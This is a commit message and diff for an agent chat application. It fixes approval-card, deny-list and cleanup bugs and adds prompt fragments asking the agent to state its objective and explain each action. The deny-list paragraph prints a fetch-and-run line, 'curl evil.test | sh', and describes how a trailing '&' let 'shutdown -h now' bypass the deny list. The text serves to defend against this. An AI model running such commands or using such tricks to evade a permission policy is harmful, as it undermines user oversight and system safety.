Four things that failed silently in an agent chat, and an account of the work
Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.
**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.
**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.
**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.
**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.
Two more found while fixing them:
**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.
**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.
And, because an agent that works for ten minutes should be readable while it
does:
**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.
**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -670,6 +670,54 @@ BUILTIN: tuple[Fragment, ...] = (
|
||||
"to report progress and wait to be told to continue."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="core.objective",
|
||||
label="Working to an objective",
|
||||
group=GROUP_CORE,
|
||||
order=112,
|
||||
families=("agent",),
|
||||
hint="An agent chat only. A model given a piece of work drifts: it "
|
||||
"starts on what was asked, finds something adjacent, and finishes "
|
||||
"somewhere else without ever saying it changed course. Naming the "
|
||||
"objective at the start makes the drift visible -- to the reader, and "
|
||||
"to the model itself, which is then answerable to something it wrote "
|
||||
"down. Not in an ordinary chat, where it would be preamble in front of "
|
||||
"a two-line answer.",
|
||||
default=(
|
||||
"Settle what you are setting out to achieve before you start, and say it "
|
||||
"in a line or two: the objective, and what would have to be true for it to "
|
||||
"be done. Then hold to it. If what you find means the objective was wrong, "
|
||||
"or cannot be met as stated, say so plainly and say what it is now — do "
|
||||
"not slide quietly into a different piece of work. Before you finish, check "
|
||||
"what you actually did against it and say whether it is met, partly met or "
|
||||
"not, and what is left."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="core.narrate",
|
||||
label="Working out loud",
|
||||
group=GROUP_CORE,
|
||||
order=113,
|
||||
families=("agent",),
|
||||
hint="An agent chat only, and deliberately the opposite of the rule "
|
||||
"above about not announcing tool calls -- which is right for a short "
|
||||
"answer and wrong here. A short answer is read once it is finished; a "
|
||||
"long piece of work is *watched while it runs*, and a reader who "
|
||||
"cannot see what is being done cannot stop the wrong thing being done. "
|
||||
"Text written before a tool call survives into the finished reply, so "
|
||||
"this costs nothing beyond the tokens.",
|
||||
default=(
|
||||
"Work out loud. Before a round of tool calls, say in a line what you are "
|
||||
"about to do and what you expect; when the results come back, say what you "
|
||||
"actually found and what it changes — and then carry on in the same reply "
|
||||
"rather than stopping to report. Announcing what you are about to do is "
|
||||
"right here, even though it would be noise in a short answer.\n"
|
||||
"Keep it to a line or two at a time, and make it findings rather than "
|
||||
"narration: what you expected, what was actually there, what you are doing "
|
||||
"about it. Anything you worked out and did not write down is lost when the "
|
||||
"reply ends."
|
||||
),
|
||||
),
|
||||
Fragment(
|
||||
key="core.interjection",
|
||||
label="Being interrupted",
|
||||
@@ -957,6 +1005,13 @@ BUILTIN: tuple[Fragment, ...] = (
|
||||
"`apt-get update` first or it reports the package as missing.\n"
|
||||
"- Look before you write. Read a file before replacing it, and list a "
|
||||
"directory before guessing at a path.\n"
|
||||
"- Say what each one is for. `shell_run`, `file_write`, `file_edit` and "
|
||||
"`job_stop` take a `why`: one line, in plain language. It is what the "
|
||||
"person sees beside the action — on the card when they are asked to "
|
||||
"approve it, and in the transcript when they are not.\n"
|
||||
"- Check your work. Read a file back after changing it, look at what a "
|
||||
"command actually exited with rather than assuming it worked, and run the "
|
||||
"project's own tests or build if it has any.\n"
|
||||
"- {{agent_mode}}\n"
|
||||
"- If something is refused, say what you were going to do and ask. Do "
|
||||
"not look for another way round it."
|
||||
|
||||
Reference in New Issue
Block a user